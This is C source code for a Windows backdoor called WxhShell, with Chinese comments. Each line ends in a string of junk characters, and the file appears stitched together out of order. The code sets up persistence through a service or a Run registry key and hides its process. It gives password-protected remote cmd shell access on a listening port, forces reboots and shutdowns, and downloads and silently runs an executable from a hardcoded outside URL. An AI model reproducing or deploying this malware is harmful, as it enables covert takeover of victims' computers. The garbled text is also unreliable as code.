    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); GlbySD@  
    if(Boot(SHUTDOWN)) dHK`eS$sb  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); wvbPnf^y  
    else { e XfZ5(na  
    closesocket(wsh); *d"DA[(  
    ExitThread(0); i?fOK_d  
    } %n hm  
    break; c0hwc1kv-  
    } n@U n  
  // 获取shell f}1&HI8r  
  case 's': { :{IO=^D=$  
    CmdShell(wsh); <^zHE=h"  
    closesocket(wsh); ~$p2#AqX  
    ExitThread(0); o(S{VGi,  
    break; W Dg+J  
  } $OP7l>KZY  
  // 退出 Z\HX~*,6  
  case 'x': { `FsH}UPu b  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); z)9wXo#~  
    CloseIt(wsh); Xtp"QY p  
    break; uO=aaKG  
    } +"8,Mh  
  // 离开 \ gLHi~  
  case 'q': { |b*? qf  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ^4,a8`  
    closesocket(wsh); Sqo : -  
    WSACleanup(); G}FIjBE  
    exit(1); df n9!h  
    break; Q8 DQlqHm  
        } ;_^fk&+  
  } |b-]n"}c>  
  } co9 .wB@  
,(;lIP  
  // 提示信息 3:8{"md@2  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); #Sa27$&.>  
} OtGb<v<_H  
  } " t7M3i_  
LxpuhvIO  
  return; 7oq[38zB  
} '1$!jmY  
q*2N{  
// shell模块句柄 RTv qls  
int CmdShell(SOCKET sock) RLSc+kDH_  
{ "dI;  
STARTUPINFO si; lKlU-4  
ZeroMemory(&si,sizeof(si)); cIp D~0\  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; /r-aPJX  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; `&-Mi[1  
PROCESS_INFORMATION ProcessInfo; 8Goh4T H  
char cmdline[]="cmd"; 3"G>>nC&  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 8HRmQ  
  return 0; e0J6Ae4V[  
} z,VD=Hnz  
jK' N((Hz  
// 自身启动模式 ?c7*_<W5  
int StartFromService(void) A?`jnRo=\  
{ Zc!@0  
typedef struct e'=MQ,EWd  
{ C-Ht(x|  
  DWORD ExitStatus; zkO<-w  
  DWORD PebBaseAddress; ] Puy!Q  
  DWORD AffinityMask; bd<m%OM""  
  DWORD BasePriority; &NSY9'N,  
  ULONG UniqueProcessId; Fr%d}g  
  ULONG InheritedFromUniqueProcessId; (sQr X{~  
}   PROCESS_BASIC_INFORMATION; I(9R~q  
"h|'}7p  
PROCNTQSIP NtQueryInformationProcess; 9Ffp2NW`;  
_z54Ycr4H  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; C#H:-Q&  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; i| ZceX/  
>5j<4ShW  
  HANDLE             hProcess; zcva-ze:;  
  PROCESS_BASIC_INFORMATION pbi; '&sE=.  
(XXheC  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); P9S2?Q  
  if(NULL == hInst ) return 0; |QMhMGjV  
V=lfl1Ev0J  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); *b xzCI7b  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); > ]8a3x  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); "3<da*D1  
&R$CZU  
  if (!NtQueryInformationProcess) return 0; @fa@s-wb  
4T?h  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); sYdRh?Hq  
  if(!hProcess) return 0; |=EZ1<KzD  
{O+Kw<d  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Vur bW=~g  
P) uDLFp]  
  CloseHandle(hProcess); 8o/}}=m$  
5r?m&28X  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); NuYkz"O]  
if(hProcess==NULL) return 0; ?X5]i#j[  
06Gt&_Q  
HMODULE hMod; JKX_q&bUw  
char procName[255]; ;r6jx"i  
unsigned long cbNeeded; t w(JZDc  
[2dn\z28  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); (E,Yo  
Raw)9tUt  
  CloseHandle(hProcess); z.6$W^  
Gdg)9  
if(strstr(procName,"services")) return 1; // 以服务启动 HXoX  
b]7GmRekl  
  return 0; // 注册表启动 /RyR>G!  
} ?h0X,fl3  
$-&BB(-{E&  
// 主模块 #_B-4sm  
int StartWxhshell(LPSTR lpCmdLine) [y0O{,lI  
{ HBY.DCN[Z  
  SOCKET wsl; 2QNNp:`6  
BOOL val=TRUE; i@][rdhT  
  int port=0; -kS~xVS|  
  struct sockaddr_in door; 9m-)Xdoy  
uK'&Dam  
  if(wscfg.ws_autoins) Install(); !gLkJ)  
dV Q-k  
port=atoi(lpCmdLine); RID]pek  
fl;s9:<  
if(port<=0) port=wscfg.ws_port; jA(>sz  
zSE<"(a  
  WSADATA data; :=9] c17=  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; }'OHE(s  
fRfn2jA)d  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Y $u9%0q|?  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); k6kM'e3V  
  door.sin_family = AF_INET; \3Q&~j  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); h!#:$|Q  
  door.sin_port = htons(port); J|3E-p\o  
qClHP)<  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { HK~xOAF  
closesocket(wsl); ,KJw|x4}\  
return 1; @ a4/ELx  
} z`6fotL  
L.T?}o  
  if(listen(wsl,2) == INVALID_SOCKET) { Q`#4W3-,  
closesocket(wsl); 2Sq_Tw3^  
return 1; j Y6MjZI  
} n9;;x%6.I  
  Wxhshell(wsl); 9=,uq;  
  WSACleanup(); zyg:nKQW  
m>}8'N)  
return 0; f,z P*  
SSBg?H'T  
} JxjI]SF02  
" v}pdUW  
// 以NT服务方式启动 xvNo(>  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) f/kI| Z  
{ \*\R1_+  
DWORD   status = 0; Gd+ET  
  DWORD   specificError = 0xfffffff; 1shBY@mlq  
WU4UZpz  
  serviceStatus.dwServiceType     = SERVICE_WIN32; \ j.x0/;  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; S?{ /hy  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; .d?%;2*{q  
  serviceStatus.dwWin32ExitCode     = 0; `mH %!{P  
  serviceStatus.dwServiceSpecificExitCode = 0; f(D_FTTO  
  serviceStatus.dwCheckPoint       = 0; ]MtFf6&  
  serviceStatus.dwWaitHint       = 0; gq"k<C0  
iU+nqY'  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); aS}1Q?cU  
  if (hServiceStatusHandle==0) return; &t(0E:^TRU  
#tdf>?  
status = GetLastError(); _28<m JfG  
  if (status!=NO_ERROR) \tyg(srw0  
{ d/74{.  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; O8U<{jgAG  
    serviceStatus.dwCheckPoint       = 0; !TAp+b  
    serviceStatus.dwWaitHint       = 0; as+GbstN  
    serviceStatus.dwWin32ExitCode     = status; $3X-r jQtW  
    serviceStatus.dwServiceSpecificExitCode = specificError; O|cu.u|  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); %~NH0oFO  
    return; ZAuWx@}  
  } qpJ{2Q  
Q/I)V2a1i  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; nH !3(X*  
  serviceStatus.dwCheckPoint       = 0; $XBAZ<"hd  
  serviceStatus.dwWaitHint       = 0; "Dy'Kd%,%/  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Z.i{i^/#(  
} %b?$@H-Re  
^")F7`PF  
// 处理NT服务事件,比如:启动、停止 ]=73-ywn]  
VOID WINAPI NTServiceHandler(DWORD fdwControl) d {2  
{ 6 fz}  
switch(fdwControl) 0(8H;T  
{ /cFzotr"9  
case SERVICE_CONTROL_STOP: Fk=}iB#(  
  serviceStatus.dwWin32ExitCode = 0; Hqz?E@bc@  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Wk4.%tpeO7  
  serviceStatus.dwCheckPoint   = 0; G+*cpn  
  serviceStatus.dwWaitHint     = 0; f DgD@YCD  
  { %m{U& -(l@  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); kJs^ z  
  } i;PL\Er:tX  
  return; I/x iT  
case SERVICE_CONTROL_PAUSE: iF+RnWX\  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; p3^jGj@  
  break; >i,iOx|E-  
case SERVICE_CONTROL_CONTINUE: %ICglF R  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; )<4_:  
  break; \nrP$  
case SERVICE_CONTROL_INTERROGATE: Q}A=jew  
  break; t@?u  
}; SKY*.IW/Z  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 9=dkx^q  
} FZpKFsPx  
pL1s@KR  
// 标准应用程序主函数 Lp:6 ;  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) >n.z)ZJ  
{ m:Go-tk  
>x:EJV   
// 获取操作系统版本 fvo<(c#Y#  
OsIsNt=GetOsVer(); gd@p|PsS^  
GetModuleFileName(NULL,ExeFile,MAX_PATH); |`yZIY_  
+$z]w(lbT  
  // 从命令行安装 t@bt6J .{  
  if(strpbrk(lpCmdLine,"iI")) Install(); `BZ&~vJ_  
|I[7,`C~  
  // 下载执行文件 '3l$al:H^  
if(wscfg.ws_downexe) { $<?X7n^  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) @=]8^?$t 0  
  WinExec(wscfg.ws_filenam,SW_HIDE); KT*:F(4`  
} X}4}&  
nw'-`*'rj  
if(!OsIsNt) { 1@sM1WM X  
// 如果时win9x,隐藏进程并且设置为注册表启动 J_#R 87  
HideProc(); 0_<Nc/(P  
StartWxhshell(lpCmdLine); @u4=e4eF`  
} ? S=W&  
else Sj 3oV  
  if(StartFromService()) i&+w _hD  
  // 以服务方式启动 >N`6;gn*l  
  StartServiceCtrlDispatcher(DispatchTable); =)<3pGO  
else IvBGpT"(I  
  // 普通方式启动 msTB'0  
  StartWxhshell(lpCmdLine); ]Nk!4"  
s'a=_cN  
return 0; ;\)=f6N  
} 3-wD^4)O,  
{0jIY  
nZvU 'k:  
J0<p4%Cf  
=========================================== f5dR 5G  
l`n5~Fs  
a, Kky ^B  
j=sBq.S  
)GB`*M[   
1IA5.@G:  
" &,W$-[  
(7q^FtjA#  
#include <stdio.h> ,I*X) (  
#include <string.h> m^Lj+=Z"  
#include <windows.h> 6517Km 4-  
#include <winsock2.h> M[Y4_$k<-  
#include <winsvc.h> <4?*$  
#include <urlmon.h> }~enEZ  
%JoxYy-  
#pragma comment (lib, "Ws2_32.lib") Xza4iV  
#pragma comment (lib, "urlmon.lib") w{7 ji}  
)@ PnTpL*  
#define MAX_USER   100 // 最大客户端连接数 0g(6r-2)7  
#define BUF_SOCK   200 // sock buffer [Z }B"  
#define KEY_BUFF   255 // 输入 buffer T[Q"}&bB  
Gi$gtLtN h  
#define REBOOT     0   // 重启 bejGfc  
#define SHUTDOWN   1   // 关机 !;}2F-  
P\B3 y+)  
#define DEF_PORT   5000 // 监听端口 LdTIR]  
:k"rhI  
#define REG_LEN     16   // 注册表键长度 03E3cp"  
#define SVC_LEN     80   // NT服务名长度 !]DuZ=  
?eWJa  
// 从dll定义API E[S':Q  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); @W9H9 PWv&  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); O3_B<Em  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); a&5g!;.  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); APHPN:v  
h(:<(o@<  
// wxhshell配置信息 IRB& j%LA  
struct WSCFG { %-^}45](q  
  int ws_port;         // 监听端口 9/;{>RL=  
  char ws_passstr[REG_LEN]; // 口令 cF.mb*$K  
  int ws_autoins;       // 安装标记, 1=yes 0=no Qb@eK$wo}  
  char ws_regname[REG_LEN]; // 注册表键名 K\sbt7~  
  char ws_svcname[REG_LEN]; // 服务名 fA XE~  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 [@.B4p  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 k:0P+d  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 %]jQ48^R  
int ws_downexe;       // 下载执行标记, 1=yes 0=no r{"uv=,`  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" .Vh*Z<9S4  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 |3@=CE7G  
i[=C_+2  
}; .~<]HAwq  
y&rY0bm  
// default Wxhshell configuration <9 },M  
struct WSCFG wscfg={DEF_PORT, F$ {4X /9n  
    "xuhuanlingzhe", SI_?~Pf3k  
    1, nVTM3Cz  
    "Wxhshell", V4?Oc2mS  
    "Wxhshell", TzY!D *%z  
            "WxhShell Service", 6UB6;-  
    "Wrsky Windows CmdShell Service", z6Z='=pT  
    "Please Input Your Password: ", #<}kISV0  
  1, Y(z }[`2  
  "http://www.wrsky.com/wxhshell.exe", 33M}>$ZH  
  "Wxhshell.exe" q%.bnF/Yd  
    }; 4<yK7x  
'^1o/C  
// 消息定义模块 %gTVW!q  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; $[Q cEk  
char *msg_ws_prompt="\n\r? for help\n\r#>"; sX~45u \  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; +E#PJ_H=F8  
char *msg_ws_ext="\n\rExit."; z[biK|YL  
char *msg_ws_end="\n\rQuit."; $B ?? Ip?P  
char *msg_ws_boot="\n\rReboot..."; Y UZKle  
char *msg_ws_poff="\n\rShutdown..."; Qdm(q:w  
char *msg_ws_down="\n\rSave to "; G1r V<,#m  
x vJ^@w'  
char *msg_ws_err="\n\rErr!"; H /%}R  
char *msg_ws_ok="\n\rOK!"; >W~=]&7{s4  
J" wKRy  
char ExeFile[MAX_PATH]; {e6 KJ@H6  
int nUser = 0; %#4 +!  
HANDLE handles[MAX_USER]; 0%;M VMH  
int OsIsNt; W^|J/Y48  
#XL`S  
SERVICE_STATUS       serviceStatus; - #Jj-t_Fe  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ]c,l5u}A$  
s<#N]mp'   
// 函数声明 ~._ko  
int Install(void); D?J#u;h~f  
int Uninstall(void); UGf6i"F  
int DownloadFile(char *sURL, SOCKET wsh); N4+g("  
int Boot(int flag); L`pY27 |  
void HideProc(void); UhA_1A'B  
int GetOsVer(void); ul$omKI$}  
int Wxhshell(SOCKET wsl); .]zw*t*  
void TalkWithClient(void *cs); xx6S`R6:  
int CmdShell(SOCKET sock); $$~a=q,P[  
int StartFromService(void); 1!s!wQgS  
int StartWxhshell(LPSTR lpCmdLine); &$Ci}{{n#  
-PXoMZx%  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 7A[Ogro  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); $ %;jk  
Wa{%0inZ  
// 数据结构和表定义 hJ4S3b  
SERVICE_TABLE_ENTRY DispatchTable[] = r?]%d!   
{ #O><A&FrF`  
{wscfg.ws_svcname, NTServiceMain}, s%bUgO%&  
{NULL, NULL} cyHhy_~R  
}; u:eW0Ows"  
[^Q&suy  
// 自我安装 .CvFE~  
int Install(void) +|M{I= 8  
{ 8LeK wb  
  char svExeFile[MAX_PATH]; y* rY~U#3  
  HKEY key; TL]bY'%  
  strcpy(svExeFile,ExeFile); `_ 0)kdu  
@%%bRY  
// 如果是win9x系统,修改注册表设为自启动 ' me:Zd  
if(!OsIsNt) { M.t@@wq  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { z2ds8-z  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); pbFYiu+  
  RegCloseKey(key); e-jw^   
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { " C&x ,Ic  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); IF^[^^v+H  
  RegCloseKey(key); dGa@<hg  
  return 0; k5g@myb-  
    } .h a`)@MsZ  
  } ;i}i5yv2  
} ^YqbjL  
else { %db3f z  
<qr^Nyo4  
// 如果是NT以上系统,安装为系统服务 ,Z?m`cx  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); #[Z<=i~C  
if (schSCManager!=0) (A2U~j?Ry}  
{ -#daBx ?  
  SC_HANDLE schService = CreateService YI/{TL8*KK  
  ( wJ/ ~q)  
  schSCManager, G IK u  
  wscfg.ws_svcname, h^`{ .TlN  
  wscfg.ws_svcdisp, s5nB(L*Pjp  
  SERVICE_ALL_ACCESS, 8KZ$ F>T]>  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Pb3EnNqYbM  
  SERVICE_AUTO_START, Z%KL[R}^w;  
  SERVICE_ERROR_NORMAL, |E? ,xWN  
  svExeFile, |c=d;+  
  NULL, )4Bwt`VX  
  NULL, +&(J n  
  NULL, <Ak:8&$O  
  NULL, 6(,ItMbI  
  NULL N:twq&[Y  
  ); oO8]lHS?@  
  if (schService!=0) 9A(n _Rs7?  
  { G]at{(^Vz  
  CloseServiceHandle(schService); EgFl="0  
  CloseServiceHandle(schSCManager); l<s :%%CX  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); " S ?Km  
  strcat(svExeFile,wscfg.ws_svcname); _dJp 3D  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ys/`{:w8p  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); gZ1N&/9;  
  RegCloseKey(key); %bEGv:88s  
  return 0; i_|h{JK)  
    } ;B*L1'FF%t  
  } =z+-l5Gu"  
  CloseServiceHandle(schSCManager); JN-D/s  
} CgN]dx* `  
} 3e#x)H/dr  
>\Z lZ  
return 1; mf+K{y,L  
} z9I1RX V  
:fl*w""V@  
// 自我卸载 bb*c+XN0  
int Uninstall(void) hT\p)w  
{ P>.Y)$`r  
  HKEY key; t>XZ 3  
 fF\*v  
if(!OsIsNt) { )J{.Cx<E  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 58qaA\iw  
  RegDeleteValue(key,wscfg.ws_regname); o-L|"3 P  
  RegCloseKey(key); ^ b=5 6~[  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { EPQ&?[6  
  RegDeleteValue(key,wscfg.ws_regname); M4R%Gr,La  
  RegCloseKey(key); e6Wl7&@6  
  return 0; f S(^["*G  
  } 6'S5sRA  
} YCtIeq%  
} ": mCZUt  
else { ]kyle3#-~  
pHq{S;R2G  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); YhEiN. ~  
if (schSCManager!=0) =c :lS&B  
{ Rc$=+K#  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); "(9=h@@Y"  
  if (schService!=0) wa9'2a1?  
  { Ej-=y2j{g  
  if(DeleteService(schService)!=0) { Sn;/;^@(\  
  CloseServiceHandle(schService); n%7A;l!{  
  CloseServiceHandle(schSCManager); ?,.HA@T%  
  return 0; \Mobq  
  } E|KLK4 ]  
  CloseServiceHandle(schService); BnY\FQ)K  
  } V5hp Y ]  
  CloseServiceHandle(schSCManager); 95_[r$C  
} N:m@D][/sW  
} <|mE9u  
,e}mR>i=e  
return 1; *?EjYI  
} ~ nLkn#Z  
B^E2UNRA  
// 从指定url下载文件 7vB9K_wCI  
int DownloadFile(char *sURL, SOCKET wsh) uJ2C+$=Ul  
{ \c5#\1<  
  HRESULT hr; 'p4da2%  
char seps[]= "/"; p{\qSPK  
char *token; ]w1BJZa36  
char *file; 4WBo ZJ  
char myURL[MAX_PATH]; %!N2!IiVs  
char myFILE[MAX_PATH]; |H3?ox*  
+z~ !#j4Q  
strcpy(myURL,sURL); X3&SL~&>g  
  token=strtok(myURL,seps); fRca"vV  
  while(token!=NULL) m-~V+JU;x  
  { CDwFVR'_Af  
    file=token; e<: 4czh8  
  token=strtok(NULL,seps); xCmI7$uQ#  
  } EhmUX@k],  
s!nSE  
GetCurrentDirectory(MAX_PATH,myFILE); F$"MFdc[  
strcat(myFILE, "\\"); '<*CD_2t-  
strcat(myFILE, file); .:#_5K  
  send(wsh,myFILE,strlen(myFILE),0);  0jip::x  
send(wsh,"...",3,0); Q"l"p:n%n  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); I_jM-/3b  
  if(hr==S_OK) mmpr]cT@'k  
return 0; f4A4  
else $?CBX27AV  
return 1; qr<-eJf  
UH1S_:6  
} &deZ  
0|K/=dh5+  
// 系统电源模块 4EaS g#  
int Boot(int flag) .O@q5G  
{ {7ZtOe  
  HANDLE hToken; o|p;6  
  TOKEN_PRIVILEGES tkp; KV) Hywl`  
i_jax)m%  
  if(OsIsNt) { #NVF\  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); VDb,$i.Z0  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 8VAYIxRv  
    tkp.PrivilegeCount = 1; 6B!j(R  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; E9Qd>o  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); D:RBq\8  
if(flag==REBOOT) { u+I r:k  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) /w}B07.  
  return 0; D=q;+,Pc  
} )$Dcrrj  
else { N c&i) qh  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) y . ivz  
  return 0; &?5{z\;1"  
} uZ=UBir  
  } jU3;jm.)  
  else { c],frhmyd  
if(flag==REBOOT) { AD!<%h:  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) N.Wdi  
  return 0; ac+k 5K+  
} I[cV"BDa  
else { nDoiG#N0  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) HqnKpZ  
  return 0; N8MlT \+r  
} #?b^B~ #  
} '%]@a7w  
8KL_PwRX_f  
return 1; +{=_|3(  
} \+evZ{Pu  
y}:)cA~o(y  
// win9x进程隐藏模块 H2FFw-xW  
void HideProc(void) EZwdx  
{ f2w=ln  
C^\*|=*\  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 5M\=+5wB  
  if ( hKernel != NULL ) A 4W  
  { 9Sj:nn^/u  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); v ACsppa>#  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ,GXfy9x7U  
    FreeLibrary(hKernel); ZR01<V  
  } R6WgA@Z|r  
k,*#I<($  
return;   L@k;L  
} *|,ykb>  
w;SH>Ax:  
// 获取操作系统版本 %&=(,;d  
int GetOsVer(void) rJc)< OZjT  
{ G=bP<XF  
  OSVERSIONINFO winfo; 8HRPJSO~g  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); !$KhL.4P  
  GetVersionEx(&winfo); rM >V=|9,  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) w#G=Z_Tt  
  return 1; _AFt6\  
  else eDM0417O(  
  return 0; ";S*[d.2tA  
} =`\,2Nb  
b#I*~  
// 客户端句柄模块 >2Qqa;nx|  
int Wxhshell(SOCKET wsl) Dy{`">a  
{ (P>eWw\0  
  SOCKET wsh; =[)N6XV3  
  struct sockaddr_in client; y!6:  
  DWORD myID; ,M/#Q6P0}  
va/4q+1GfH  
  while(nUser<MAX_USER) MkNURy>n&  
{ j'40>Ct=i  
  int nSize=sizeof(client); <Ec)m69P  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Va |9)m  
  if(wsh==INVALID_SOCKET) return 1; rX>y>{w~  
 ZV q  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); L]}RSE2  
if(handles[nUser]==0) 2bn@:71`  
  closesocket(wsh); ">vYEkZ3  
else 4wj|  
  nUser++; hp z*jyh8  
  } ^3)2]>pW  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); (~pEro]?+)  
~~:8Yv[(  
  return 0; 97))'gC  
} ?.Yw%{?TG  
;`PkmAg  
// 关闭 socket k-ex<el)#  
void CloseIt(SOCKET wsh) 6[2?m*BsN  
{ {|J2clL  
closesocket(wsh); } Ved  
nUser--; :%b2;&A[  
ExitThread(0); LI|HET_  
} FPUR0myCU  
L|1zHDxQ  
// 客户端请求句柄 FqUt uN  
void TalkWithClient(void *cs) q}F%o0  
{ vBYT)S  
CygV_q  
  SOCKET wsh=(SOCKET)cs; v4>"p!_C  
  char pwd[SVC_LEN]; x^O2Lj,w\  
  char cmd[KEY_BUFF]; hYUV9k:  
char chr[1]; ~B*\k^t`  
int i,j; aq,)6P`  
.q9|XDqQc  
  while (nUser < MAX_USER) { $E,DxDT  
ic]tUOC:  
if(wscfg.ws_passstr) { )4_6\VaM  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); .yfqS|(  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); <&0*5|rR  
  //ZeroMemory(pwd,KEY_BUFF); Q%VR@[`\  
      i=0; P"_}F  
  while(i<SVC_LEN) { L%O8vn^3  
Fx99"3`3  
  // 设置超时 n25tr'=  
  fd_set FdRead; JX0_UU  
  struct timeval TimeOut; 9"lW"lG!  
  FD_ZERO(&FdRead); i[\u-TF  
  FD_SET(wsh,&FdRead); S@G{|.)2  
  TimeOut.tv_sec=8; U8$dG)PhA  
  TimeOut.tv_usec=0; k mr 4cU5  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); PM<LR?PLc  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ApJf4D<V  
xOyL2   
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); P5xmLefng  
  pwd=chr[0]; wYMX1=  
  if(chr[0]==0xd || chr[0]==0xa) { jzA8f+:q  
  pwd=0; r\ Yur  
  break; >;r05,mc  
  } dlzamoS@AR  
  i++; g7z9i[  
    } JR<-'  
.d!*<`S|  
  // 如果是非法用户,关闭 socket n9/0W%X>  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); kBT}Siw  
} ,Y8X"~{A  
h5JwB<8  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); r4ttEJ-jG  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); zomNjy*  
'CO[s.03  
while(1) { jL%}y1m?  
5_C#_=E  
  ZeroMemory(cmd,KEY_BUFF); 5t#]lg[06'  
GXlg%  
      // 自动支持客户端 telnet标准   Ib8{+j  
  j=0; RZh)0S>J  
  while(j<KEY_BUFF) { sK/"  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); i6:yNb ='  
  cmd[j]=chr[0]; <a[8;YQC  
  if(chr[0]==0xa || chr[0]==0xd) { XK-x*|  
  cmd[j]=0; ,wo"(E!4e  
  break; rPpAg  
  } ({nSs5)$  
  j++; Od]xIk+E  
    } \` ^Tbn:  
T|2%b*/  
  // 下载文件 V@'S#K#  
  if(strstr(cmd,"http://")) { "[S 6w  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); gbf=H8]  
  if(DownloadFile(cmd,wsh)) . \0=1P:  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); *9(1:N;#  
  else jyH_/X5i7  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); -?1J+}?  
  } 5@%-=87S  
  else { 5m?$\h  
j:KQIwc  
    switch(cmd[0]) { gK\7^95  
